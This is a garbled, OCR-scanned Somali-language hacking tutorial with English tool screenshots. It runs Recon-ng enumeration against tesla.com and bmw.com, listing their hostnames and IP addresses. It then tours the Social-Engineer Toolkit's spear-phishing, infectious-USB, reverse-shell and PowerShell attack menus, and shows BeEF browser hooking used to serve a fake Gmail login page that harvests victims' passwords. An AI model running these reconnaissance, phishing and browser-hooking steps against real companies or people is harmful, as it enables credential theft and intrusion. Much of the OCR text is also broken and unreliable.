domain (TEXT): bmw.com
notes (TEXT):

1 rows affected.

Si aad u aragto mid ka mid ah waxyaabaha jadwalka ku jira, tus amarka

waa la isticmaali karaa:

show <companies|contacts|credentials|domains|hosts|leaks|locations|netbl
ocks|ports|profiles|pushpins|repositories|vulnerabilities>

Tusale: show domians

[recon-ng][recon-cars] >|show domains

user_defined
user_defined

2 rows returned
[recon-ng][recon-cars] > |

isticmalka modules ga

Hadda waxaan dhammeynay dejinta goobteena shaqgada iyo

bartilmaameedyada bartilmaameedka. Waa wagqtigii la adeegsan lahaa
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aagagga si loo sameeyo habka sahanka / macluumaadka ururinta dhabta
ah.

In kasta oo ay rakibeen gaybo badan, magaalkan waxaan ku soo gaadan
doonnaa hal module oo keliya. Akhristayaashu way baari karaan
naftiinna si aad ugu adeegsataan gaybaha kale ee ku saleysan
baahiyahaaga. Waxaad awoodi doontaa inaad adeegsato wax modul ah
markaad aragto sida aan halkan ugu isticmaali doonno moduleka

hackertarget

Amarka modules waxaa loo isticmaali karaa ujeedooyin badan sida soo

socota:

modules <load|reload|search> /...]

Aynu adeegsano amarka raadinta si aan u liis gareyno dariigooyinka

moduleka ee ku saleysan raadinta xarig ku saleysan:

[recon-ng][recon-cars] > modules search hack

[recon-ng][recon-cars] > modules search hack
Searching installed modules for 'hack' ...

recon/domains-hosts/hackertarget

[recon-ng][recon-cars] > |}

Waxaan hadda

helnay dariiga loogu talagalay moduleka hackertarget ee gaybta Recon.
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Si aan u isticmaalno moduleka, waxaan marka hore u baahanahay inaan

rarno moduleka:

[recon-ng][recon-cars] > modules load recon/domains-hosts/hackertarget

[recon-ng][recon-cars][hackertarget] > |]

Haddii aadan hubin waxa uu moduleku sameeyo, markaa waxaad had
iyo jeer heysataa ikhtiyaar aad ku ogaan karto waxa ku saabsan adoo

adeegsanaya amarka info .

[recon-né][recon-cars][hackertarget] > info

Name: HackerTarget Lookup
Author: Michael Henriksen (@michenriksen)
Version: 1.1

Description:
Uses the HackerTarget.com API to find host names. Updates the 'hosts' table with the results.

Options:
Name Current Value Required Description

SOURCE default source of input (see 'info' for details)

Source Options:
default SELECT DISTINCT domain FROM domains WHERE domain IS NOT NULL
<string> string representing a single input
<path> path to a file containing a list of inputs
query <sql> database query returning one column of inputs

[recon-ng][recon-cars][hackertarget] > |}

Haddii aad isticmaaleyso amarka info, markaa wuxuu soo bandhigi

doonaa dhammaan faahfaahinta ku saabsan moduleka la raray

Waxaad ka eegi kartaa faahfaahinta xulashooyinka keligaa adoo

isticmaalaya amarka xulashooyinka:
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options <list|setlunset> /.../

[recon-ng][recon-cars][hackertarget] > options list

[recon-ng][recon-cars][hackertarget] > options list
Name Current Value Required Description

SOURCE source of input (see 'info' for details)

[recon-ng][recon-cars][hackertarget] > |J

Qiimaha ikhtiyaariga ayaa loo dejin karaa sida soo socota:

options set <option> <value>

Sidaad horeyba ugu aragtay Jaantuska 11, waxaa jira afar gaab oo kala

duwan oo loo dejiyo giimaha xulashada SOURCE

Source Options:
default SELECT DISTINCT domain FROM domains WHERE domain IS NOT NULL
<string> string representing a single input

<path> path to a file containing a list of inputs
query <sql> database query returning one column of inputs

Habkani / giimahaani wuxuu adeegsan doonaa dhammaan magacyada
domain ee kala geddisan miiska miisaska. Waxaan horey u galnay laba

domain, oo kala ah tesla.com iyo bmw.com
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Amarka la adeegsanayo waa sida soo socota:

[recon-ng][recon-cars][hackertarget] > options set SOURCE default

[recon-ng][recon-cars][hackertarget] > options set SOURCE default
SOURCE = default
[recon-ng][recon-cars][hackertarget] > info

Name: HackerTarget Lookup
Author: Michael Henriksen (@michenriksen)
Version: 1.1

Description:
Uses the HackerTarget.com API to find host names. Updates the 'hosts' table with the results.

Options:
Current Value Required Description

Country: None

Host: cnamc.bmw.com
Ip_Address: 122.200.123.179
Latitude: None

Longitude: None

Notes: None

Region: None

Country: None

Host: snc.bmw.com
Ip_Address: 160.46.240.205
Latitude: None

Longitude: None

525 total (@ new) hosts found.
[recon-ng][recon-cars][hackertarget] > ||
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Wadar ahaan 525 marti-geliye ayaa loo helaa labada degmo.
Dhamaadka maqgaalka, waxaad arki doontaa sida aan u liis garayn karno
magacyada martida loo yahay. Waqtiga xaadirka ah, aan xoogga saarno

adeegsiga xulashooyinka SOURCE.

Kahor intaanan isticmaalin habka xigga, aan aragno sida aan dib ugulaabi

karno giimaha jira:

options unset <option>

recon-ng][recon-cars][hackertarget] > options unset SOURCE

[recon-ng]l[recon-cars][hackertarget] > options unset SOURCE
SOURCE = None
[recon-ng][recon-cars][hackertarget] > info

Name: HackerTarget Lookup
Author: Michael Henriksen (@michenriksen)
Version: 1.1

Description:
Uses the HackerTarget.com API to find host names. Updates the 'hosts' table with the results.

Options:
Current Value Required Description

SOURCE source of input (see 'info' for details)

Source Options:
default SELECT DISTINCT domain FROM domains WHERE domain IS NOT NULL
<string> string representing a single input
<path> path to a file containing a list of inputs
query <sql> database query returning one column of inputs

[recon-ng][recon-cars][hackertarget] > |}

Habkani wuxuu kuu oggolaanayaa inaad si cad u geexdo magaca

domainka
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[recon-ng][recon-cars][hackertarget] > options set SOURCE tesla.com

Waad ku badali kartaa “tesla.com” magacaaga bartilmaameedka

bartilmaameedka ah.

[recon-ng][recon-cars][hackertarget] > options set SOURCE tesla.com
SOURCE = tesla.com

[recon-ng][recon-cars][hackertarget] > |j

Hadda aan ku shageyno run:

[recon-ng][recon-cars][hackertarget] > Fun

Country: None

Host: tesla.com
Ip_Address: 199.66.11.62
Latitude: None
Longitude: None

Notes: None

Region: None

Country: None

Host: vpnl.tesla.com
Ip_Address: 8.45.124.215
Latitude: None
Longitude: None

Notes: None

Region: None

Country: MNone

Host: model3.tesla.com
Ip_Address: 205.234.27.221
Latitude: None

Longitude: None
Notes: MNone
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Marka hore, aan abuurno feyl la yiraahdo targets.txt oo aan ku darno

laba magac domain.

fhome/flndm3r00t/Downloads/targets.txt - Mousepad

File Edit Search View Document Help

bmw . com
tesla.com

25 total (@ new) hosts found.
[recon-ng][recon-cars][hackertarget] > |J

U deji dariiqga feyl ee bartiimaameedka.txt sida giimaha SOURCE:

[recon-ng][recon-cars][hackertarget] > options set SOURCE /home/findm3r@@t/Downloads/targets.txt
SOURCE = /home/findm3r@0t/Downloads/targets.txt
[recon-ng][recon-cars][hackertarget] > ||

Ku shagee moduleka adoo adeegsanaya amarka orodka waxaadna

awoodi doontaa inaad aragto natiijooyinka bmw.com iyo tesla.com,
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kuwaas oo ah magacyada domainka ee ku xusan faylka

bartilmaameedka.txt.

[recon-ng][recon-cars][hackertarget] > run

Here also you will see the same 525 hostnames as the result.

lyada oo gacan laga helayo weydiimaha SQL ee fudud, waxaan dejin
karnaa giimaha SOURCE.

options set <option> query <sql-query>

[recon-ng][recon-cars][hackertarget] > options set SOURCE query select
domain from domains where rowid=2
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[recon-ng][recon-cars][hackertarget] > options set SOURCE query select domain from domains where rowid=2

[SOURCE = query select domain from domains where rowid=2
[recon-ng][recon-cars][hackertarget] > ||

Fiiro gaar ah: Haddii aad ku jahwareersan tahay weydiinta SQL, fadlan
XOr u nogo tixraacyada tirooyinka 6 iyo 8. domains waa magaca miiska,
geybta iyo isku xigxiga waa magacyada safka. Rowid = 2 waxay u

dhigantaa barta bmw.com

Hadda, socodsiinta moduleka waxaadna awood u yeelan doontaa inaad

aragto natiijooyinka u dhigma barta bmw.com

[recon-ng][recon-cars][hackertarget] > run

llaa hadda waxaan aragnay gaababka kala duwan ee dejinta giimaha

xulashooyinka. Hadda aan aragno sida aan u arki karno natiijooyinka.

Sidaan horeyba u ognahay, waxaa jira jadwallo kaladuwan oo kujira
moduleka db iyo martigaliyayaasha ayaa kamid ahaa. Marka, si aan u
aragno magacyada martida ee ilaa hadda la helay, waxaan isticmaali

karnaa amarka show.
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[recon-ng][recon-cars][hackertarget] > show hosts

recon-ng ][ recon-cars)[hackertarget] > show hosts

host )_address region country

esla.com 8. .21 hackertarget
modell.tesla.com o ¢ B hackertarget
02.ptr556.tes com ° = > hackertarget
05.ptrés66, tesla.com .72.172.17 hackertarget
prroal7. tesla.com b 5. . hackertarget
04.ptrif67.tesla.com > . hackertarget
mobile.tes com 209.133.79.82 hackertarget
sarketing.tesla.com 3. A7 5 hackertarget
ata2.email.tesla.com . o hackertarget
mta.email.tesla.com 3. L4, hackertarget
xmail.tes com & . p hackertarget
comparison.tesla.com . .183.13 hackertarget
na-sso.tesla.com 9.46 hackertarget
edr.tesla.com 3.79.33 hackertarget
emails.tesla.com . .18, hackertarg
atal.emails.tesla.com 3. . BE hackertarget
al.emails.tesla.com q .B8. hackertarget
b2b-swl-sec.baw.com 50 .46, . hackertarget
e2e-b2b-swl-sec.baw.com 50.46. oS hackertarget
int-b2b-swl-sec.bmw.com 0 . 46,248, hackertarget
int-swl-sec.baw.co 50. 225.2 hackertarget
edasec . .bow.com v 4 2 hackertarget |
b2b-fagsec.baw.com A6, 5 hackertarget
int-b2b-frgsec .com 46.251.8% hackertarget
vip-intapisec con .48.213. hackertars
b2b-swisec.baw,.com
audit-int-gfi-public.baw.com
nic.bmw.com
cnasc . baw . con 123.179
240.205 hackertarget

returned
recon-ng [ recon-cars ckertarget] > |}

Sawirka wuxuu muujinayaa kaliya tiro kooban oo natiijooyin ah maxaa
yeelay sawirka si ula kac ah ayaa loo tifaftiray si looga dhigo mid yar cabir

ahaan.
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Hadda waxaan ognahay sida loo daabaco natiijooyinka khadka taliska.

Waxaa la joogaa wagqtigii aan baran lahayn gaababka warbixinta

Waxaa jira qaybo badan oo warbixineed oo la heli karo. Waad raadin

kartaa si aad u aragto dhammaan noocyada horay loo rakibay

modules search reporting

Haddii aysan jirin wax horay loo rakibay, markaa waxaad isticmaali kartaa

amarka soo socda si aad u rakibto:

marketplace install reporting

Noocyada warbixineed ee kala duwan waa sida soo socota:

1 reporting/csv

reporting/html
reporting/json
reporting/list
reporting/proxifier
reporting/pushpin
reporting/xlsx

0O N O U1 b W N

reporting/xml

Isticmaal amarka xamuulka si aad ugu dhejiso moduleka:
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modules load reporting/html

recon-ngjlrecon-cars

[recon-ng][recon-cars][html] >

Sida caadiga ah, isticmaal amarka info si aad wax badan uga ogaato

moduleka la rakibey:

[recon-ng][recon-cars][html] > info

Name: HTML Report Generator
Author: Tim Tomes (@lanmaster53)
Version: 1.0

Description:
Creates an HTML report.
Required Description
CREATOR use creator name in the report footer
CUSTOMER yes use customer name in the report header
FILENAME | /root/.recon-ng/workspaces/recon-cars/results.html yes path and filename for report output

SANITIZE True yes mask sensitive data in the report

[recon-ngl[recon-cars][html] > |}

Aynu u dejino giyamka xulashooyinka la heli karo:

[recon-ng][recon-cars][html] > options set CREATOR findm3r@et
CREATOR = filndm3reot
[recon-ng][recon-cars][html] > loptions set CUSTOMER CAR WORLD

CUSTOMER =% CAR WORLD

[recon-ngllrecon-cars][html] > options set FILENAME /home/flndm3re@t/Downloads/CarWorld/recon-cars-results.html
FILENAME = /home/findm3re@t/Downloads/CarWorld/recon-cars-results.html

[recon-ng][recon-cars][html] > [}
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Waxaad dooran kartaa magaca aad rabto iyo magaca aad rabto. Halkan,
waxaan u doortay magaca feylka sida dib-baabuur-natiijooyin.html iyo

goobta lagu kaydiyo faylka waa:
/home/f1ndm3r00t/Downloads/CarWorld/

Ku shagee moduleka si aad u abuurto HTML report.

[recon-ng][recon-cars][html] > run
Report generated at '/home/findm3re@t/Downloads/CarWorld/recon-cars-results.html’,

[recon-ng][recon-cars][html] > }}

CAR WORLD E—
Recon-ng Reconnaissance Report
[} Summary
L
dorTer i
compante
M
-
ekl L]
CTICTENS
|:.l\l|'.
ke
(L C ]
[-] Domains
domain E rreochule
w s _cimlined
WEA DM i ol
[-] Mosts
hass D mivess  repen sonry Wil g s sodds
2 ol ik DeTem ST 18048213211 Nk trgel
0 hackearget
Tih<adar-eve b com nackeTaeger
Tineadai-il Dew com [T
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&
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Social Engenering toolkite

The Social-Engineer Toolkit waa gaab tijaabo u ah il-furan il-gabad oo
loogu talagalay bulshada-injineernimada. SET waxay leedahay vectors
weerar caadiya oo kuu ogolaanaya inaad sameyso weerar lagu

kalsoonaan karo waqti yar.

Istimalka SET

Siaad u furto SET, tag Applications @ Social Engineering Tools [ Guji
“SET"” Social Engineering Tool.
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Applications v Places v Sun 15:32

Favor backdoor-f,
- Information Gatharing

beef xss fr...
= Vulnerability Analysis

- Web Application Analysis ghost phis..

- Database Assessment
maltego

- Password Attacks
6 - Wireless Attacks mt peyicas
Reverse Engineering SET! social engi...
8 - Exploitation Tools S
\ u3-pwn

9 - Sniffing &

- Post Exploitation

- Forensics

= Reporting Tools
3 - Social Engineering Tools

= System Services

Usual applications

Waxay ku weydiin doontaa inaad ku raacsan tahay shuruudaha

isticmaalka. gali "y" sida ku cad shaashadda soo socota.

Terminal (- oM~

File Edit View Search Terminal Help
THE POSSIBILITY OF SUCH DAMAGE.

The above licensing was taken from the BSD licensing and is applied to Soci
gineer Toolkit as well.

Note that the Social -Engineer Toolkit is provided as is, and is a royalty free o
pen-source application.

Feel free to modify, use, change, market, do whatever you want with it as long a
s you give the appropriate credit where credit is due (which means ing the au
thors the credit they deserve for writing it). Also note that by using this soft

e, 1T you ever see the creator of SET in a bar, you should give him a hug and

him a beer. Hug must last at least 5 seconds. Author holds the right to ref
e hug (most likely will never happen) or the beer (also most likely will n
happen) .
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Inta badan menusyada ka muuqgda shaashadda soosocota waa iskood
loo sharaxay waxaana ka mid ah kuwa ugu muhiimsan waa lambarka 1

"Weerarrada Injineernimada Bulshada".

Terminal 00
File Edit View Search Terminal Help

n 1tter: @H kin ve

a1 https://www.trustedsec.com

ocial -Enginear

for all
freenode.net an
The Social-Engineer Toolkit is a product of TrustedSec.
Visit: https://www. trustedsec.com
Select from the menu:

Social -Engineering Attacks
) Fast-Track Penetration Testing
) Third Party Modules
) Update the Social -Engineer Toolkit

Update SET configuration

) Help, Credits, and About

) Exit the Social -Engineer Toolkit

Nooca "1" [ Gali. Submenu ayaa furi doona Haddii aad riixdo badhanka

gala markale, waxaad arki doontaa sharraxaadaha hoose kasta.

Mashiinka Spear-phishing wuxuu kuu ogolaanayaa inaad si khaas ah

farsamada farsamada gacanta u dirto oo aad ugu dirto
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dhibbanayaashaada la bartilmaameedsanayo oo ay ku lifaagan yihiin
xamuul lacag bixin oo ku lifaagan FileFormatmalicious. Tusaale ahaan,
dirista dukumintiga xun ee PDF kaas oo haddii dhibbanuhu furo, uu wax
u dhimayo nidaamka. Haddii aad rabto inaad kudhajiso cinwaanka
iimaylkaaga, hubso in "Sendmail" la rakibay (apt-get install sendmail)
oo beddel config / set_config SENDMAIL = Calanka OFF ka ah
SENDMAIL = DAAR.

Waxaa jira laba ikhtiyaar oo loogu talagalay weerarka waran-waranka -
e Samee Weerar Weyn oo Email ah

e Abuur FileFormat Payload iyo Social-Engineering Template

Midka hore ayaa SET kuu ogolaanaya inuu wax walba kuu sameeyo
(ikhtiyaarka 1), ta [abaadna waa inaad sameysid culeys aad iska

bixinayso FileFormat oo aad ugu adeegsan karto weerarkaaga.

Terminal 00
File Edit View Search Terminal Help
18) Third Party Modules

99) Return back to the main menu.
> 1

The Spearphishing module allows you to specially craft email messages and send
them to a large (or small) number of people with attached fileformat malicious
payloads. If you want of your email address, be sure "Sendmail” is in-

stalled (apt-get install sendmail) and change the config/set config SENDMAIL=0F

flag to SENDMAIL=0ON.

There are two options, one is getting your feet wet and letting SET do
everything for you (option 1), the second is to create your own FileFormat
payload and use it in your own attack. Either way, good luck and enjoy!

1) Perform a Mass Email Attack

2) Create a FileFormat Payload

3) Create a Social-Engineering Template
99) Return to Main Menu

A
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gali "99" si aad ugu noqoto menu-ka weyn ka dibna ku qor "2" si aad u

tagto "Webka weerarka ee shabakadda".

Module-ka websaydhku waa hab gaar ah oo looga faa'iideysto weerarro
badan oo websaydh ah si loo waxyeeleeyo dhibanaha la damacsan
yahay. Qaybtani waxaa loo adeegsadaa iyadoo lagu fulinayo weerarro
phishing ka dhan ah dhibbanaha haddii ay gujiyaan xiriirka. Waxaa jira
noocyo kala duwan oo weeraro ah oo dhici kara marka ay gujiyaan

xiriiriye.

Terminal 00
File Edit View Search Terminal Help
ite however when clicked a window pops up then is replaced with the malicious lijg
K. You can edit the 1ink replacement settings in the set config if its too slow
'fast.

[he Multi-Attack method will add a combination of attacks through the web attack
menu. For example you can utilize the Java Applet, Metasploit Browser, Credenti
il Harvester/Tabnabbing all at once to see which is successful.

[he HTA Attack method will allow you to clone a site and perform powershell inje
:tion through HTA files which can be used for Windows-based powershell exploitat
Lon through the browser.

Java Applet Attack Method
Metasploit Browser Exploit Method
Credential Harvester Attack Method
Tabnabbing Attack Method

Web Jacking Attack Method
Multi-Attack Web Method

FULl Screen Attack Method

HTA Attack Method

1)
2)
3)
4)
5)
)
)
)

~l &

@

Return to Main Menu

-1

(o]
(o]
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Gali "99" si aad ugu nogoto menu-ka weyn ka dibna ku qor "3".

Qalabka faafa ee faafa ee USB / CD / DVD wuxuu abuuri doonaa faylka
autorun.inf iyo culeyska Metasploit. Mushaharka iyo faylka autorun
ayaa lagu gubay ama lagu guuriyey USB-ga. Marka DVD /USB /CD la
geliyo mashiinka dhibbanaha, waxay kicin doontaa aalad autorun ah
(haddii autorun la awoodo) waxaana rajeynayaa in nidaamka wax u
dhinto. Waxaad dooran kartaa dulinka weerarka aad rabto inaad

adeegsato: ciladaha faylka ama gaab toos ah oo la fulin karo.

Kuwa soosocda waa xulashooyinka Generator Media Infectious.
e Faa'iidooyinka Qaabka-Foomka

e Metasploit Standard la fulin karo

> 3

The Infectious USB/CD/DVD module will create an autorun.inf file and a
Metasploit payload. When the DVD/USB/CD is inserted, it will automatically
run if autorun is enabled.

Pick the attack vector you wish to use: fTileformat bugs or a straight executabl

File-Format Exploits
Standard Metasploit Executable

Return to Main Menu

-
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Gali "99" si aad ugu nogoto menu-ka weyn. Kadib, ku qor "4" si aad u

tagto "Webka weerarka ee shabakadda".

Abuurista xamuulka lacag bixinta iyo dhagaystaha ayaa ah hab fudud
0o loo abuuro culeys bixinta Metasploit. Way kuu dhoofin doontaa
faylka exe adigaana kuu abuuri doona dhageyste. Waxaad
ubaahantahay inaad ku ganciso dhibanaha inuu soo dejiyo faylka exe oo

aad u fuliso si aad u hesho qolofka.

1) Windows Shell Reverse TCP Spawn a command shell on victim an
d send back to attacker
2) Windows Reverse TCP Meterpreter Spawn a meterpreter shell on victi
m and send back to attacker
ndows Reverse TCP VNC DLL Spawn a VNC server on victim and s
end back to attacker
4) Windows Shell Reverse TCP X64 Windows X64 Command Shell, Reverse
TCP Inline
) Windows Meterpreter Reverse TCP X64 Connect back to the attacker (Wind
4), Maeterpreter
Windows Meterpreter Egress Buster Spawn a meterpreter shell and find
a port home via multiple ports
7) Windows Meterpreter Reverse HTTPS Tunnel communication over HTTP usi
ng SSL and use Meterpreter
8) Windows Meterpreter Reverse DNS Use a hostname instead of an IP ad
dress and use Reverse Meterpreter
9) Download/Run your Own Executable Downloads an executable and runs i

+
L

-
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Gali "99" si aad ugu nogoto menu-ka weyn ka dibna ku qor "5" si aad

ugu tagto "Webka weerarka ee shabakadda".

> 5

Social Engineer Toolkit Mass E-Mailer

There are two options on the mass e-mailer, the first would

be to send an email to one individual person. The second option
will allow you to import a list and send it to as many people as
you want within that list.

What do you want to do:

E-Mail Attack Single Email Address
E-Mail Attack Mass Mailer

. Return to main menu.

>

Weerarka boostada ballaaran wuxuu kuu oggolaanayaa inaad dhowr e-
mayl u dirto dhibbanayaasha isla markaana aad habeyso farriimaha.
Waxaa jira laba ikhtiyaar oo ku saabsan iimaylka ballaaran; mida hore
waa in e-mayl loo diro hal cinwaan oo emayl ah. Xulashada labaad
waxay kuu ogolaaneysaa inaad soo dejiso liis ay ku wada jiraan
dhammaan e-mayl gaatayaasha waxayna farriintaada u diri doontaa

dad badan oo aad rabto inta ku jirta liiskaas.
e E-Mail Weerarka Cinwaanka E-mayl ee Keli ah

e E-Mail Attack Mass Mailer
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Nooca "99" si aad ugu noqoto menu-ka weyn ka dibna ku qor "9" si aad

ugu tagto "Powershell Attack Vector".

The Powershell Attack Vector module allows you to create PowerShell specific att
acks. These attacks will allow you to use PowerShell which is available by defau
1t in all operating systems Windows Vista and above. PowerShell provides a fruit
ful Tlandscape for deploying payloads and performing functions that do not get
triggered by preventative technologies.

1) Powershell Alphanumeric Shellcode Injector
2) Powershell Reverse Shell
3) Powershell Bind Shell

) Powershell Dump SAM Database

Return to Main Menu

Moduleka Powershell Attack Vector wuxuu kuu ogolaanayaa inaad
abuurto weeraro gaar ah PowerShell. Weeraradani waxay kuu
oggolaanayaan inaad isticmaasho PowerShell, kaas oo si caadi ah looga
heli karo dhammaan nidaamyada hawlgalka ee Windows Vista iyo wixii
ka sarreeya. PowerShell waxay bixisaa dhul miro dhal ah oo lagu
daabulayo culeysyo badan iyo howlo aan ku kicin teknoolojiyadda ka

hortagga ah.
e Powershell Alphanumeric Shellcode Injector

e Powershell Reverse Shell
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e Powershell Bind Shell

e Macluumaadka Powershell Qashin SAM

cEE BeEF browser

BeEF waxaa loo soo gaabiyay Qaabdhismeedka Isticmaalka
Isticnaalaha Browser. Waa qalab tijaabin galitaan oo diiradda saaraya
biraawsarka webka.

lyadoo ay sii kordheyso walaaca laga gabo weerarada websaydhka ah
ee ka dhanka ah macaamiisha, oo ay ku jiraan macaamiisha guurguura,
BeEF waxay u oggolaaneysaa tijaabiyaha gelitaanka xirfadlaha inuu
giimeeyo muugaalka dhabta ah ee nabadgelyada ee deegaanka la
bartilmaameedsanayo iyadoo la adeegsanayo vectors-ka weerarka
dhinaca macmiilka. Si ka duwan gaab-dhismeedka kale ee amniga,
BeEF waxay u egtahay inay dhaaftay isku-xirnaanta isku-xirnaanta

shabakadda iyo nidaamka macmiilka, waxayna baareysaa ka-
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faa'iideysiga ku jira macnaha guud ee hal albaab oo furan: barowsarka
webka. BeEF waxay xiri doontaa hal ama in ka badan oo daalacashada
shabakadaha ah waxayna u adeegsan doontaa sidii madax-xeebeedyo
loogu talagalay in lagu soo rogo gqaybaha amarrada ee tooska ah iyo
weerarro dheeraad ah oo lagaga soo horjeedo nidaamka ka dhex socda

barta biraawsarka.

Marmarka qgar ayaa kali ama paroto os laga ilaba beEf marka
amarkan kula soo dag

#apt-get install beef-xss

Kadib waxaad ku kicisa amarkan

#tbeef-xss

Marka interface browser uu furmo, waxaad u baahan doontaa inaad
gasho adeegga BeEF. Aqoonsiga caadiga ah waa beef magaca
isticmaalaha iyo beef lambarka sirta ah. Si kastaba ha noqotee, waxaa
laga yaabaa in lagugu dhiirrigeliyey inaad u sameysato lambar sir ah
kalfadhigaaga beef (sida kor ku aragtay), oo markaa ay dhacdo,
waxaad u isticmaali laheyd beef sida magaca isticmmaalaha iyo wixii

lambar sir ah ee aad dooratay.
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Ka dib markaad si guul leh u soo gasho, waa inaad aragtaa bogga
"Getting Started" oo ay ku jiraan macluumaad ku saabsan sida ay u

shageyso BeEF. Dhinaca bidix, waxa ku yaal safka 'Browsers Hooked

Authentication

Login

Browsers', oo ah halka ay ku dambayn doonaan dhammaan

daalacayaasha aad xakamayso.

Hooked Browsers

|__1 Online Browsers
[_ Offline Browsers

Basic

Requester

% BeEF 05.0.0 | Submit Bug | Logout

Getting Started %/l Logs Zombies

—eEF

THE BROWSER EXPLOITATION FRAMEWORK PROJECT

Official website: http://beefproject.com/

Getting Started
Welcome to BeEF!

Before being able to fully explore the framework you will have to 'hook’ a browser. To begin with you
can point a browser towards the basic demo page here, or the advanced version here.

If you want to hook ANY page (for debugging reasons of course), drag the following bookmarklet link
into your browser's bookmark bar, then simply click the shortcut on another page: Hook Me!

After a browser is hooked into the framework they will appear in the "Hooked Browsers' panel on the
left. Hooked browsers will appear in either an online or offline state, depending on how recently they
have polled the framework.

Hooked Browsers

To interact with a hooked browser simply left-click it, a new tab will appear. Each hooked browser tab
has a number of sub-tabs, described below:

Details: Display information about the hooked browser after you've run some command modules.
Logs: Displays recent log entries related to this particular hooked browser.

p R — Aes Thic tak inadacs madulss ann he ssanotad sosinet the hoolad heowmar Thin i
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Furaha guusha ee BeEF waa in "lagu xiro" biraawsar. Tani asal ahaan
waxay ka dhigan tahay inaan u baahan nahay bartilmaameedka inaan ku
soo booqgano barnaamij web jilicsan oo leh "hook.js" faylka JavaScript. Si
aad u tababarto, BeEF waxay kuu siisaa degel degmo-hoosaadkaaga oo
ay ku jirto xamuulka ku jira, markaa booqo taas si aad u aragto sida ay u

shageyso.

http://127.0.0.1:3000/demos/basic.html

Koodhka la isku duray ee biraawsarka lagu xiray wuxuu ka jawaabayaa
amarrada ka imanaya server-ka BeEF ee aan xakameyno. Halkaas,
waxaan ku sameyn karnaa waxyaabo badan oo xun oo ku saabsan

kumbuyuutarka bartilmaameedka.

Waxaan hayaa dhowr daalacasho oo jalagsan, laakiin waxaan eegi
doonaa midka Chrome. Dhagsii biraawsarkaaga ku xiran, waxayna kuu
boodaysaa tabta "Faahfaahinta", oo bixisa macluumaad ku saabsan

biraawsarka la xiray Mine wuxuu u muujiyaa sida Chrome giyamka.

Tabkani wuxuu ku tusi doonaa waxyaabo badan oo intaas ka badan.
Aniga ahaan, waxaan arkaa in madashu tahay Linux x86_64; in ay

leedahay Chrome PDF Plugin, Chrome PDF Viewer, iyo plugins Client
Native; gaybaha waxaa ka mid ah webgl, webrtc, iyo websocket; iyo

macluumaad kale oo xiiso leh.



_ Somali Hacker 101

Hooked Browsers
4 () Online Browsers
43127001
@ A& 7127001
@ 3@ ? 127001
] Offline Browsers

Basic Requester

Getting Started
Details Logs
Key «
GrUTSCE I UGG
browser.name
browser.name.friendly

browser.name.reported

browser.platform
browser.plugins
browser.window.cookies
browser.window.hostname
browser.window.hostport
browser.window.origin
browser.window.referrer
browser.window.size.height
browser.window.size.width
browser.window.title
browser.window.uri
hardware battery.level
hardware cou arch
Page 1of2

Logs

Commands

Proxy

¥ BeEF 0500 | Submit Bug | Logout

Zombies Current Browser
XssRays Network
Value
oo
c
Chrome

Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/81.0.4044.138 Safari/537.36

Linux x86_64
Chrome PDF Plugin,Chrome PDF Viewer, Native Client
BEEFHOOK=Zolj5yt55LPNGBgWI6r9tmei7sF7I113GQ6s7sgFxJX...
127.00.1
3000
http:#/127.0.0.1:3000
Unknown
491
819
BeEF Basic Demo
http:#/127.0.0.1:3000/demos/basic.htmi
unknown
xR6 64
Displaying zombie browser details 1 - 50 of

-

50

Hadda oo aan xirxirey biraawsarka bartilmaameedka, waxaan ku fulin

karnaa gaar ka mid ah modullada ku jira tabka "Commands".

Hooked Browsers

— Getting Started */Il Logs
4 =] Online Browsers =
453127.001 Details || Logs | Commands
@ A = ? 127001 Module Tree
@ A @ ? 127001 Search
(] Offline Browsers - _ -
4 ] Browser (56)
I [_] Hooked Domain (26)
Detect Evernote Web Cli
Detect Foxit Reader

4

Detect LastPass
Detect MIME Types
Detect QuickTime
Detect RealPlayer
Detect Silverlight
Detect Toolbars

Detect Unity Web Player

Detect VLC

Detect Windows Media F

Fingerprint Browser
Play Sound

Remove Hook Element
Unhook

() Ready

Proxy

Module Results History

id ~

The

modul

% BeEF 0500 | Submit Bug | Logout

\ Zombies || current Brow

| XssRays Network

date

label

Description:

Ser

Get Visited Domains

Thi
mo
will
rett
rap
his:
ext
thre
nor
des
cat
tim
Ba:
on
wo
dor
by
Mic
Zal
at
htty
You
car
spe ¥
»

Execute |

Waxaa jira in ka badan 300 oo qaybood, laga bilaabo jabsashada
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biraawsarka illaa injineernimada bulshada, oo ay ku jiraan, laakiin dhab

ahaantii kuma koobna:

e Hel Goobaha Booqgday (biraawsar)

e Hel URLs Boogasho (biraawsar)

e Kaamirada websaydhka (biraawsar)

e Hel Dhammaan Kukiyada (kordhinta)

e Qabo Xiriirada Google (kordhinta)

e Screenshot (kordhin)

e Xatooyo Autocomplete (injineernimada bulshada)

e Google Phishing (injineernimada bulshada)

Markaad hesho module aad rabto inaad adeegsato, xulo, ka dibna
dhagsii "Kordhi" hoosta sharraxaaddeeda. Tusaale ahaan, waxaan ku
isticmaali doonaa "Google Phishing" moduleka galka "Social

Engineering".
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% BeEF 0500 | Submit Bug | Logout

Getting Started Logs Zombies Current Browser
Details Logs Commands Proxy XssRays Network

Module Tree Module Results History Google Phishing

Search id « | date label Description:  This plugin uses an image tag to XSRF the
—r g logout button of Gmail. Continuously the user
® Fake Evernote Web Clipy * | | O 2020-05-0815:38  command 1 is logged out of Gmail (g. if he is logged in

Fake Flash Update in another tab). Additionally it will show the

Google favicon and a Gmail phishing page
» Fake LastPass (although the URL is NOT the Gmail URL).
» Fake Notification Bar
& Fake Notification Bar (Ct i 27

o Fake Notification Bar (Fir
» Fake Notification Bar (IE!

. Google Phishing ﬁ::g;o(%?;t; il

XSS hook URI: | hitp://0.0.0.0:3000/dem

W Lcamtuf Download e
0 Pretty Theft Redirect delay | 1000

» Replace Videos (Fake Pl ——

o Simple Hijacker

» Spoof Address Bar (data

\» TabNabbing

@ Edge WScript WSH Injec

@ Firefox Extension (Bindsl

& Firefox Fxtension rl']mr:n B |  Execute

() Ready

Ka dib markii la fuliyo, bogga gelitaanka ee 'Gmail' oo been abuur ah
ayaa ka muugan doona biraawsarka lagu xiray. Isticmaalaha waxaa laga
yaabaa inuusan ka fikirin laba jeer gelinta magaca isticmaalaha iyo
lambarka sirta ah, mar alla markii ay sidaas sameeyaan, waan galnaa.
Intaa ka dib, waxaa dib loogu hagaajiyaa bogga Google sidii haddii ay si

joogto ah u soo galaan.



_ Somali Hacker 101

Google

Google Malil

A Google approach to email.

Google Mail is built on the idea that email can be more intuitive,

